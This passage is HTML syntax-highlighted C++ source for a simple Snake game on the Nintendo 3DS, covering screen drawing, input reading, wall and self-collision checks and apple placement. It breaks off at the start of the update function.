&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleSelect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;topScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleClear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[1;1H##################################################&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_HEIGHT &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; { &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; { TOP_SCREEN_WIDTH &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[30;1H##################################################&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[31m@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;uz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleSelect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;bottomScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleClear&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Use D-pad to move.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Eat apple to grow.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Don&amp;#39;t bite your self!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Don&amp;#39;t hit wall!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; init&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    gfxInitDefault&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleInit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;GFX_TOP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;topScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    consoleInit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;GFX_BOTTOM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;bottomScreen&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    srand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;19260817&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; getInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    hidScanInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hidKeysDown&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hidKeysHeld&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hitWall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_WIDTH &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_HEIGHT &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hitSnake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;begin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(),&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; createApple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    point newApple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    do&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        newApple &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;= {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; rand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_WIDTH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; rand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_HEIGHT &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;hitWall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;newApple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hitSnake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;newApple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    apple &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; newApple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; update&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; newHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
